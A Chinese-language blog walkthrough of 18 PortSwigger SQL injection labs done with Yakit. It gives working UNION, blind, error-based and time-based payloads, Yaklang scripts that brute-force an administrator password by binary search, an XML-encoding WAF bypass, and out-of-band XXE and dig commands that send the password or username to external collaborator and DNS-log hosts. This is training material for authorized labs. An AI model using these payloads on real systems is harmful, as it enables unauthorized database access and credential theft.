靶场 | 43分钟
Yakit打BurpSuite靶场—SQL注入篇
二月 20, 2025
SQLi

本篇是BurpSuite靶场的第一篇,这里共有18个实验,涉及多种数据库和注入手法。这个做完了,可以去玩一玩SQLi-Labs,量大管饱,但是只有MySQL数据库,并且最后更新已经是11年前了。

在学习SQL注入之前,必须学会SQL语句(菜鸟教程),这里是几个在线的SQL练习网站:

牛客网-SQL篇自学SQL网LeetCode-数据库

Lab 1

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

直接拼接语句,注意特殊字符需要编码,当然全编码也是可以的

sql
1Gifts' or 1=1 --

Lab 2

SQL injection vulnerability allowing login bypass

http
1username=administrator'--&password=1

Lab 3

SQL injection attack, querying the database type and version on Oracle

查询Oracle数据库类型与版本的SQL语句为

sql
1SELECT banner FROM v$version

但是直接union查询会报错,Hint中给了一个查询语句:UNION SELECT 'abc' FROM dual但是这个也会报错,这是在提示我们。这个是因为UNION联合查询需要前后语句查询的列数相同。所以需要知道原先语句查询的是几列。

这里使用order by函数进行测试,order by意思是按照某列进行排序,所以思路就是逐列测试。order by后可以写列名也可以写列的序数。

按第一列排序:Gifts'+order+by+1--,按第二列排序也能输出。但是按第三列排序却报错。说明没有第三列,只有两列。

那么UNION后句补充一个列就好了,可以使用null作为占位符

sql
1'+UNION+SELECT+Banner,NULL+FROM+v$version--

占位符随意,比如114514

Lab 4

SQL injection attack, querying the database type and version on MySQL and Microsoft

过滤了-- ,可以用# 注释语句,判断列数同上,这里直接写查询数据库的语句

sql
1'union+select+@@version,null#

查询MySQL与Microsoft数据库除了SELECT @@version,还有SELECT version(),所以也可以写为

sql
1'union+select+version(),null#

注意编码,最好全编码,否则直接写到浏览器url可能报500

Lab 5

SQL injection attack, listing the database contents on non-Oracle databases

这个实验很重要,是注入的思路,以Mysql和PostgreSQL为例。这些数据库有个默认的数据库information_schema,这个数据库中存储了许多关键数据,比如SCHEMATA表中存储了所有的库名,TABLES表中存储了所有的表名和所属库名,COLUMNS表中存储了所有列名和所属表名、库名。建议自己安装个数据库,操作一下看看具体结构。

这题的通关条件是登录administrator账号,注入点不在登录页,这题都说了从其他表检索数据。

注入点仍然是之前的category,思路就是

  1. 查询库名,找到可疑的库
  2. 条件查询表名,找到可疑的表
  3. 条件查询列名,找到可疑的列
  4. 精确查询数据

为了良好的可读性,这里使用{{urlenc( )}}自动url编码,可以在括号里直接写SQL语句。

首先category注入点查询库名:

sql
1{{urlenc(' union select schema_name,null from information_schema.schemata-- )}}

回显:public、information_schema、pg_catalog,非常明显public是可疑库,因为另外俩是系统默认库

查询public库中所有表名:

sql
1{{urlenc(' union select table_name,null from information_schema.tables where table_schema='public'-- )}}

回显:users_sqjdbv、products,一眼就知道users_sqjdbv是用户表

查询users_sqjdbv中的所有列名:

sql
1{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv'-- )}}

如果遇到不同库中有表同名,那么这样查询会显示混在一起的列名,所以也可以加上库名条件,精确查找列名:

sql
1{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv' and table_schema='public'-- )}}

回显email、password_xraxke、username_hgvoch

这里就已经有存储账户密码的列名了,可以进行精确查找了

查询数据:

sql
1{{urlenc(' union select username_hgvoch,password_xraxke from public.users_sqjdbv-- )}}

回显: wiener m7gvc8iza7sxmxzg3kve carlos 89d9ydq8b7kk4tus7v9f administrator 8lrmdb56161fquczwkip

使用administrator 8lrmdb56161fquczwkip登录即可过关

Lab 6

SQL injection attack, listing the database contents on Oracle

题干说的清楚,类别过滤器是注入点,从那里查询administrator密码

先礼貌问候一下列数:

{{urlenc(Gifts' order by 1,2-- )}}正常回显,{{urlenc(Gifts' order by 1,2,3-- )}}报错,说明没有三列,只有两列。order by 1是按照第一列排序,order by 1,2是当第一列数据相同时,按照第二列数据排序,以此类推,所以这样判断列数。后面不再重复列数判断步骤。

查数据库版本:{{urlenc(' union select banner,null from v$version-- )}},回显是Oracle数据库,这个时候就可以去查Oracle的默认库结构了。以便后续注入。

Oracle注入可以学习一下Y4er的文章:https://y4er.com/posts/oracle-sql-inject/

同时建议,自己搭建个Oracle摸索摸索,我Windows笔记本折腾半天Docker Desktop安装Oracle就是无限启停,还是用官方的在线Oracle吧:http://livesql.oracle.com

查询当前用户:

sql
1{{urlenc(' union SELECT user,null FROM dual-- )}}

回显Peter

查询当前用户有权限的表:

sql
1{{urlenc(' union SELECT DISTINCT owner, table_name FROM all_tables-- )}}

回显很多,其中有PETER PRODUCTS、PETER USERS_EALGQZ。一眼丁真!就是可疑的数据库

查询列名:

sql
1{{urlenc(' union SELECT column_name,null FROM all_tab_columns where table_name='USERS_EALGQZ'-- )}}

回显:EMAIL、PASSWORD_RAOMLC、USERNAME_BNPYTJ

这里我复制表名复制错了,后面查数据一直报错,我真蠢

查询数据:

sql
1{{urlenc(' union SELECT USERNAME_BNPYTJ,PASSWORD_RAOMLC FROM Peter.USERS_EALGQZ-- )}}

回显:administrator dkz5nikhi570pk03v7dw

Lab 7

SQL injection UNION attack, determining the number of columns returned by the query

sql
1{{urlenc(' order by 4-- )}}

Lab 8

SQL injection UNION attack, finding a column containing text

判断出是3列,使用{{urlenc(' union select version(),null,null-- )}}@@versionSELECT banner FROM v$version都报错。刚开始以为是不知道哪个数据库。

后来尝试使用{{urlenc(' union select null,null,null-- )}}发现没报错,说明from可疑省略,那么一定不是Oracle数据库,那就从MySQL、PostgreSQL、Microsoft中测试,恰巧他们的查询版本都是很相似的,又因为题干说了要确定列的值类型。那么明显考察的是回显要符合字段类型的知识。

比如第一列类型是bool,但是你查询的是varchar,那么就会报错。这题我们测试到第二列可以输出版本。

sql
1{{urlenc(' union select null,version(),null-- )}}

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

sql
1{{urlenc(' union select null,schema_name,null from information_schema.schemata-- )}}

public、information_schema、pg_catalog

sql
1{{urlenc(' union select null,table_name,null from information_schema.tables where table_schema='public'-- )}}

products

sql
1{{urlenc(' union select null,column_name,null from information_schema.columns where table_name='products'-- )}}

name、description、image、id、rating、category、price、released

查不出来东西,我以为库里有个数据包含了题目给的那个字符串,没想到让直接输出那个字符串,于是直接写

sql
1{{urlenc(' union select null,'eUEzNY',null-- )}}

不加引号算列名,加了就是显示字符串

Lab 9

SQL injection UNION attack, retrieving data from other tables

两列

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

这题很常规,publics库,users表,username、password字段

sql
1{{urlenc(' union select username,password from public.users-- )}}

administrator n1skvb3sntodavtn0jem

Lab 10

SQL injection UNION attack, retrieving multiple values in a single column

单列检索多个值,学习新知识,但首先我们要确定数据库版本

sql
1{{urlenc(' union select null,version()-- )}}

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

常规步骤即可

知识点:使用字符串连接函数(如 CONCATGROUP_CONCAT)将多个字段或查询结果拼接成一个字符串。

1. 使用 CONCAT 横向拼接(单行多值)

1SELECT col1, col2, col3 FROM original_table
2UNION
3SELECT 1, CONCAT('Version:', version(), ', User:', user()), 3;
  • 结果:第 2 列显示类似 Version:8.0.30, User:root@localhost 的字符串。

2. 使用 GROUP_CONCAT 纵向聚合(多行合并为单行)

1SELECT col1, col2, col3 FROM original_table
2UNION
3SELECT 1, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables), 3;
  • 结果:第 2 列显示所有表名的逗号分隔字符串,如 users,products,orders

这题第一个字段无法输出username或password,只有第二个字段可以,但是分两次注入麻烦,而且数据多了还不好直观发现账号所属密码。所以这里使用concat函数,将两列数据合并为一列数据,中间用~分隔,输出到第二列中。

sql
1{{urlenc(' union select null,concat(username,'~',password) from public.users-- )}}

administratorihq283h8spfiphz9sgzr wienerdsh8zen6pskpecisl6ju carlos~1l8zrm4ve3ch6ighrpsl

你也可以展开库、表、列的对应关系

sql
1{{urlenc(' union select null,concat(table_schema,'~',table_name,'~',column_name) from information_schema.columns where table_name='users'-- )}}

publicusersusername publicuserspassword publicusersemail

Lab 11

Blind SQL injection with conditional responses

报错注入,这题没有回显,查询行只有Welcome back的消息,查询失败则没有回显,所以执行一些语句,通过消息是否回显来判断语句是否正确,比如猜测库名长度为5,不对就写6,知道测试出长度,然后逐个判断字母,这个工作量很大,一般都是写脚本。

点击任何一个分类,可以看到右上角有个welcome back

在category测试后没发现注入点,题干说了cookie,那就从cookie入手

在cookie值后加一个',如TrackingId=gG7dkxOsglrzOpj8';没有回显,说明单引号影响了内部sql执行,这个语句使用单引号闭合。后面衔接逻辑语句:

sql
1TrackingId=gG7dkxOsglrzOpj8' and 1=1-- ;

有回显

sql
1TrackingId=gG7dkxOsglrzOpj8' and 1=2-- ;

无回显

后面可以加判断语句

题干说了users表,那我们测试一下有没有这个表

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users limit 1)='a'-- ;

有回显,说明有这个库,如果觉得打注释麻烦,也可以写为

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users limit 1)='a;

少写个引号,因为可以和后台的引号成对

测试是否有administrator用户

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' limit 1)='a'-- ;

存在此用户,那么暴破密码长度

这里使用length函数,这个函数返回字符串的长度

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and length(password)>1)='a'-- ;

逐个测试长度,这里使用Yakit的标签,使其在设置的范围内发包:

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and length(password)>{{int(1-16)}})='a'-- ;

可以看到,Yakit右边发了很多包,但这个是并发的,顺序并不是从1到16。所以点一下右边表头里的Payloads旁边的顺序图标,让他按照Payloads排序。可以明显看到,payload为20时返回值不一样,>19有回显,>20无回显,说明密码长度刚好是20。

使用substr函数截取第一个字符并逐个判断

密码用到的字符有[0-9],[a-z],[A-Z],以及()`\!@#$%^&*_-+=|{}[]:;'<>,.?

这里语句写为

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and substr(password,1,1)='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}')='a'-- ;

不过何必在where里判断字符,直接放到前面去,写成

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}'-- ;

这里有许多转义,如果碰到复杂的,也可以直接插入字典

按响应大小排序,可以看到有一个值明显不同,页面也有回显,那么对应的payload就是密码第一个字符

注意有一些包发送错误或者没有成功回显的,是因为并发太高靶场受不了,还有就是有的字符类型无法接受,重新发包

测试第2个字符,你可以写substr(password,2,1)=……,但是这还要记住之前的字符,然后逐一累加。我这边就直接

sql
1TrackingId=gG7dkxOsglrzOpj8' and (select substr(password,1,2) from users where username='administrator')='y{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}'-- ;

提取2个字符,但是在匹配的条件那里把上一次查到的字符写上去,让它只暴破第二个字符就好,等暴破到最后就能直观的看到完整密码。当然也可以写脚本,二分法的脚本会更快,字符通过

得到20位密码:yr19j3bxshqthozbr4hp

提供一个二分法暴破密码脚本:

此脚本使用Yaklang,写得比python快,而且更简洁,没那么多库的导入,如果遇到proxy等等报错,请关闭梯子。遇到网络错误,就是靶场崩了,重新执行脚本。

yak
 1// 填写你的Cookie和url,如下
 2TrackingId:="1SCB2aQ5cI7UADQw"
 3session:="NUkLsggXlfoFnsH6JVGUexy4ZRctCrlz"
 4url:="https://0ab400f4047133958334b44e00110003.web-security-academy.net/"
 5
 6results=""
 7for pos := 1; pos < 21; pos++{
 8    low=32
 9    high=126
10    mid=(low+high)/2
11    for low<high{
12        payload:=sprintf(f`TrackingId=${TrackingId}' and (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid}-- ;session=${session}`)
13        rsp, req = poc.Get(url, poc.appendHeader("Cookie",payload))~
14        if rsp.getBody().Contains("Welcome back!") {
15            low=mid+1
16        }else{
17            high = mid
18        }
19        mid=(low+high)/2
20    }
21    results+=chr(mid)
22    println(results)
23}

这靶场太拉跨了,每次运行都崩,所以崩了就重新运行脚本吧,而且经常网络报错。破解密码长度不建议用脚本,因为用yakit一键就出来,写脚本反而费事。

Lab 12

Blind SQL injection with conditional errors

先摸索一下Oracle语法,到livesql.oracle.com新建一个表:

sql
1drop table apt;
2create table apt(id number(30),name varchar2(16),function varchar(30));
3insert into apt values(1,'Zhao','Penetration-Testing');
4insert into apt values(2,'Qian','Lateral Movement');
5insert into apt values(3,'Sun','Bypass Antivirus');
6insert into apt values(4,'Li','Data Dump');

执行下面,能发现oracle对语句进行了逻辑判断

这里末尾用单引号闭合会报错,还是用注释吧

sql
1select function from apt where name='Zhao'and 1=1-- '
sql
1select function from apt where name='Zhao'and 1=2-- '

改成'a'='a''a'='b'也能执行逻辑。

但是写在cookie里却不行,猜测是后台的比对位置不在where,过滤的可能性不大,因为过滤不属于这种初级靶机

这里扩展知识点:||

  • 作用:|| 是 Oracle 的字符串连接运算符,用于拼接字符串或表达式结果。
  • 例如:'abc' || 'def' 结果为 'abcdef'

我们在语句后面加个空字符串,拼接后不影响字符串,如:

sql
1使用单引号闭合
2select function from apt where name='Zhao'||''
sql
1注释后台单引号
2select function from apt where name='Zhao'||''-- '

最最重要的是||是可以拼接子查询写逻辑语句的,倘若逻辑正确就返回空字符串,不影响查询结果,逻辑不对就返回错误

语句如下:

sql
1SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN NULL ELSE  TO_CHAR(1/0) END FROM dual

子查询需要用括号包裹

我们在环境里测试下面:

sql
1select function from apt where name='Zhao'||(SELECT CASE WHEN 1=1 THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- '

1=1永真,故返回NULL,不影响前面的Zhao,语句正常执行。

sql
1select function from apt where name='Zhao'||(SELECT CASE WHEN 1=2 THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- '

1=2永假,故返回TO_CHAR(1/0)TO_CHAR(1/0)Oracle 数据库中一种故意触发错误的常见技巧,查询报错。也可以使用TO_NUMBER('invalid')CAST('invalid' AS DATE)

注入逻辑搭建完成,下面就是判断密码长度,逐个判断字符了

先测试有没有administrator:

sql
1-- 很蠢的测试方法
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select username from users where username='administrator')='administrator' THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;
sql
1-- 判断返回行数,从而判断有没有administrator
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select count(*) from users where username='administrator')>0 THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;
sql
1-- 通过exists判断,exists函数判断子查询是否存在,存在返回真,不存在返回null,否则触发错误
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select * from users where username='administrator') THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

先判断是否存在users表:

sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select * from users) THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

判断列数,使用count:

sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select count(COLUMN_NAME) from user_tab_columns WHERE TABLE_NAME ='USERS')=3 THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

实际上,上面去掉count就是返回列名,加上where rownum=1就可以返回第一行列名,由于oracle不支持limit语法,让它逐行输出有点麻烦,这里先不写了。遇到暴破列名的再写。

判断是否存在username和password的列名

sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select username from users) THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;
sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select password from users) THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

判断administrator密码长度:

sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select length(password) from users where username='administrator')={{int(1-30)}} THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

20位

判断administrator用户的密码第一位字符

sql
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}' THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ;

好了,这就跟上题一样了,写个脚本先:

yak
 1// 填写你的Cookie和url,如下
 2TrackingId:="ZK2C9o43WxHY0Ccy"
 3session:="zMtUFgVidY69HaQ9bEgj0egCs2JQDl5Y"
 4url:="https://0ae000fa031181de8337b024008f00cf.web-security-academy.net/"
 5
 6results=""
 7for pos := 1; pos < 21; pos++{
 8    low=32
 9    high=127
10    mid=(low+high)/2
11    for low<high{
12        payload:=sprintf(f`TrackingId=${TrackingId}'||(SELECT CASE WHEN (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} THEN NULL ELSE  TO_CHAR(1/0) END FROM dual)-- ; session=${session}`)
13        rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~
14        if rsp.GetStatusCode()==200 {
15            low=mid+1
16        }else{
17            high = mid
18        }
19        mid=(low+high)/2
20    }
21    results+=chr(mid)
22    println(results)
23}

Lab 13

Visible error-based SQL injection

基于可见错误的 SQL 注入,这是一个不会显示结果在页面的sql查询,但sql语法有错,会抛出错误。为什么会有这种情况?当然是实际开发中有一些sql用于传输数据,并不是显示给用户看的。而这种注入点要么 fuzz,要么是api泄露

单引号报错 ,加省略正常

TrackingId=aBwEWz4Ph2qZNZHb' order by 1-- ;正常,order by 2报错,说明只有一列数据

刚才引号报错时,发现显示了报错点和后台sql语句

尝试执行逻辑

sql
1TrackingId=aBwEWz4Ph2qZNZHb' and 1-- ;

报错,提示

sql
1ERROR: argument of AND must be type boolean, not type integer Position: 58

这就能判断出来是PostgreSQL了,因为mysql这种是弱类型,1会认为是true永真,而这里把1当成了整数,并没有转换为布尔。类型检查严格,判断数据库是PostgreSQL。

知识点:CAST 是 SQL 中的类型转换函数,它可以将一个数据类型强制转换为另一种数据类型。在报错注入中,我们故意构造类型转换错误,让数据库在报错信息中泄露敏感数据

CAST ( expression AS data_type)把expression转换为data_type类型,expression可以是一个列名、一个变量、一个字符串常量。

为什么这个既能执行expression,又能报错?expression可以写因为不执行怎么知道expression的类型,源数据类型都不知道怎么转换?

等它执行完表达式,再转换的时候发现无法转换成目标类型,就会报错说源数据是这样:XXXXX,转不了!

现在我们查询版本,但是把版本字符串转换为1

sql
1TrackingId=nYFNRJv78qIXtz23' and 1=cast((select version()) as int)-- ;

回显:ERROR: invalid input syntax for type integer: “PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit”

查询用户名

sql
1TrackingId=nYFNRJv78qIXtz23' AND 1=CAST((SELECT username FROM users) AS int)-- ;

报错:Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ’nYFNRJv78qIXtz23’ AND 1=CAST((SELECT username FROM users) AS’. Expected char

这个报错意思是sql语法结构被破坏,可是这个引号已经闭合,注释符也能用,在刚开始就测试了。

那么原因只有,后台会限制sql语句长度,达到最大长度后给截断了。

我们把原先的TrackingId值删掉,执行语句:

sql
1TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)-- ;

报错:ERROR: more than one row returned by a subquery used as an expression

返回了多行数据,但是cast只接受单行数据,这里我们使用string_agg将多行合并为单行:

sql
1TrackingId=' AND 1=CAST((SELECT string_agg(username,',') FROM users) AS int)-- ;

还是太长 ,使用limit获取第一行

sql
1TrackingId=' AND 1=CAST((SELECT username FROM users limit 1) AS int)-- ;

回显:ERROR: invalid input syntax for type integer: “administrator”

第一行就是用户,那么直接获取密码

sql
1TrackingId=' AND 1=CAST((SELECT passwossrd FROM users limit 1) AS int)-- ;

靶场终归有解,实战中第一行不是管理员怎么办呢,limit row offset 1会被截断的

Lab 14

Blind SQL injection with time delays

现学的,有个师傅写的很好 https://eastjun.top/posts/postgresql/

时间盲注比较常用的函数就是pg_sleep(),不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值

所以这里仍然单引号闭合,然后加逻辑语句

sql
1TrackingId=QL6cBxyAEHK8lPvh' and pg_sleep(10) is null-- ;

Lab 15

Blind SQL injection with time delays and information retrieval

能够执行上面那题的paylaod,所以就case when吧

在此之前我们摸索一下postgresql,新建一个:

sql
 1DROP TABLE IF EXISTS "public"."stu";
 2CREATE TABLE "public"."stu" (
 3  "id" int4 NOT NULL PRIMARY KEY,
 4  "name" varchar(45) COLLATE "pg_catalog"."default" NOT NULL,
 5  "age" int4
 6)
 7;
 8INSERT INTO "public"."stu" VALUES (1, 'Zhao', 24);
 9INSERT INTO "public"."stu" VALUES (2, 'Qian', 33);
10INSERT INTO "public"."stu" VALUES (3, 'Sun', 43);
11INSERT INTO "public"."stu" VALUES (4, 'Li', 42);

写个sql:

sql
1select age from stu where name = 'Zhao' and (pg_sleep(5) is null);

这行sql一直不输出,或者输出极慢。因为pg_sleep(5) 是一个函数,它会执行并返回一个结果,而不是直接产生一个值供比较。在 PostgreSQL 中,pg_sleep 的返回值是一个“void”类型(即没有实际的返回值),但在条件判断中,它不会被视为 NULL

慢的主要因素是,它会在查询每一行数据时都进行sleep

这里作布尔比较应该是(select pg_sleep(5) is null);

写个类似靶场的条件语句:

sql
1select age from stu where name = 'Zhao' and (select case when (1=1) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

正常延迟输出

测试靶场是否有users表:

sql
1TrackingId=PgY9pwIluFSoqtqC' and (select case when exists(select * from uses) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

判断是否存在username列

sql
1TrackingId=PgY9pwIluFSoqtqC' and (select case when exists(select username from users) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

判断是否存在administrator用户

sql
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select 'a' from users where username='administrator')='a' then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

判断administrator用户密码长度:

sql
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select length(password) from users where username='administrator')={{int(1-30)}} then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

延迟久然后返回的就是正确payload,长度20

测试密码第一个字符:

sql
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}' then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';

脚本:

yak
 1// 填写你的Cookie和url,如下
 2TrackingId:="tS9xclQLWykah3XS"
 3session:="EMTfiXYAox90T0nmJAaaHFFtK1wdpdcd"
 4url:="https://0a0400d603391cda81011164000f00d3.web-security-academy.net/"
 5
 6results=""
 7for pos := 1; pos < 21; pos++{
 8    low=32
 9    high=127
10    mid=(low+high)/2
11    for low<high{
12        payload:=sprintf(f`TrackingId=${TrackingId}' and (select case when (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} then (select pg_sleep(1) is null) else(select pg_sleep(0) is null) end)-- '; session=${session}`)
13        rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~
14        if int(rsp.TraceInfo.ServerTime)>=1000000000 {
15            low=mid+1
16        }else{
17            high = mid
18        }
19        mid=(low+high)/2
20    }
21    results+=chr(mid)
22    println(results)
23}

Lab 16

Blind SQL injection with out-of-band interaction

操,只能用burp的Collaborator服务器,在bp里点一下就行,但是我这是Yakit完成BP的牛头人记录啊。测绘到了一些Collaborator公共服务器,但是没有密钥就没办法轮询。

只能用bp了,这里用速查表的那个语句就行,url那里写Burp Collaborator里复制的地址,注意加http://

sql
1SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bgvdtubm12yohr4f0tyktdt2zt5ktnhc.oastify.com"> %remote;]>'),'/l') FROM dual

请求包里要url编码:

sql
1TrackingId=asEAelVub4RxLizc'+union+SELECT+EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fbgvdtubm12yohr4f0tyktdt2zt5ktnhc.oastify.com%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+FROM+dual--+;

Lab 17

Blind SQL injection with out-of-band data exfiltration

这个就是利用带外进行查询,查询时是可以拼接命令的,比如在dnslog上请求一下:

bash
1dig `whoami`.ke9du2.dnslog.cn

返回

DNS Query RecordIP AddressCreated Time
tajang.ke9du2.dnslog.cnXXX.XXX.XXX.XXX2025-02-27 00:17:41

前面附加了我的用户名

这里同理,语句是:

sql
1SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

请求包里写(已url编码):

sql
1TrackingId=o8cGAQkEU7ZIUli9'+union+SELECT+EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F%27%7C%7C%28select+password+from+users+where+username%3D%27administrator%27%29%7C%7C%27.bfu110u4ree0yu0nz3tpemw9v01rphd6.oastify.com%2F%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+FROM+dual--+;

Lab 18

SQL injection with filter bypass via XML encoding

1'被拦截,1%27不会,把注释编码后传输没有数据,个人推测是把%27给删了,输入1+1有数据,能够数学运算。猜测是数字型注入,不用引号闭合

但是这里对于任何字符都不能输出数据,那就没办法写语句。

这里是xml结构,传输到后台时会进行xml解析。而waf是在后台之前检测的,一般waf不会自己解码再检测。

所以思路就是把语句编码传输,waf检测不到,而后台会把它解析了再执行

要实体编码,可以在线使用:https://config.net.cn/tools/HtmlEncode.html,点击HTML实体编码(16进制)

也可以使用Yakit的{{htmlenc()}}标签

先输入1 union select null -- ,编码传输:

xml
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>&#x0031;&#x0020;&#x0075;&#x006e;&#x0069;&#x006f;&#x006e;&#x0020;&#x0073;&#x0065;&#x006c;&#x0065;&#x0063;&#x0074;&#x0020;&#x006e;&#x0075;&#x006c;&#x006c;&#x0020;&#x002d;&#x002d;&#x0020;</storeId></stockCheck>

或者使用Yakit标签

xml
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>{{htmlenc(1 union select null -- )}}</storeId></stockCheck>

正常输出一个null,写俩null时不输出,说明只有一列

那么一起查询账号密码,就需要把行连接起来,使用concat函数不行,尝试||

xml
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>{{htmlenc(1 union select username||'~'||password from users-- )}}</storeId></stockCheck>

得到密码

SQL注入篇完结